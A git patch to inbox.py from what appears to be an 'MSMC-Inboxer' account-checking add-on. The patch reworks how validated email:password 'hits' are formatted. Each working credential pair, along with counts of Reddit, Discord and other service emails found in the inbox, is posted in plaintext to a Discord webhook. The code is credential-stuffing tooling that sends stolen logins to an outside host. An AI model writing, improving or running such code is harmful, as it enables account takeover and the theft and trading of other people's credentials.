From a6e02d65d837a2f1f70a915bcfd8c410b2e3ec9a Mon Sep 17 00:00:00 2001
From: PGer <noahb94491@gmail.com>
Date: Mon, 10 Jun 2024 10:06:12 -0400
Subject: [PATCH] Improved Webhooks

---
 inbox.py | 48 +++++++++++++++++++++++++++++++++++-------------
 1 file changed, 35 insertions(+), 13 deletions(-)

diff --git a/inbox.py b/inbox.py
index abc58a8..5dd731f 100644
--- a/inbox.py
+++ b/inbox.py
@@ -117,16 +117,38 @@ def inboxmail(email, password):
             continue
         # Discord Webhook
         if any(count > 0 for count in counts.values()):
-                    message = f"**Valid Mail!**\n{email}:{password}\n\n**Capture:**\n"
-                    for service, count in counts.items():
-                        if service == 'Reddit' and count > 1 and reddit_year:
-                            message += f"{service}: {count} ✅ (Estimated Year: {reddit_year})\n"
-                        elif service == 'Discord' and count > 1 and discord_year:
-                            message += f"{service}: {count} ✅ (Estimated Year: {discord_year})\n"
-                        elif count > 0:
-                            message += f"{service}: {count} ✅\n"
-                    
-                    payload = {"content": message}
-        r = requests.post(discord_webhook, data=json.dumps(payload), headers={"Content-Type": "application/json"})
-        if r.status_code == 404:
-            input("Hold up! You forgot to provide a webhook for Inbox. Hits are not being logged! Edit addons/Inbox/config.json")
+            embed = {
+                "title": "Valid Mail",
+                "description": f"{email}:{password}",
+                "color": 0x00f556,
+                "fields": [],
+                "footer": {
+                    "text": ".gg/PGer • MSMC-Inboxer"
+                }
+            }
+            
+            for service, count in counts.items():
+                if count > 0:
+                    if service == 'Reddit' and count > 1 and reddit_year:
+                        embed["fields"].append({
+                            "name": service,
+                            "value": f"``{count} Hits (Estimated Year: {reddit_year})``",
+                            "inline": True
+                        })
+                    elif service == 'Discord' and count > 1 and discord_year:
+                        embed["fields"].append({
+                            "name": service,
+                            "value": f"``{count} Hits (Estimated Year: {discord_year})``",
+                            "inline": True
+                        })
+                    else:
+                        embed["fields"].append({
+                            "name": service,
+                            "value": f"``{count} Hits``",
+                            "inline": True
+                        })
+
+            payload = {"embeds": [embed]}
+            r = requests.post(discord_webhook, data=json.dumps(payload), headers={"Content-Type": "application/json"})
+            if r.status_code == 404:
+                input("Hold up! You forgot to provide a webhook for Inbox. Hits are not being logged! Edit addons/Inbox/config.json")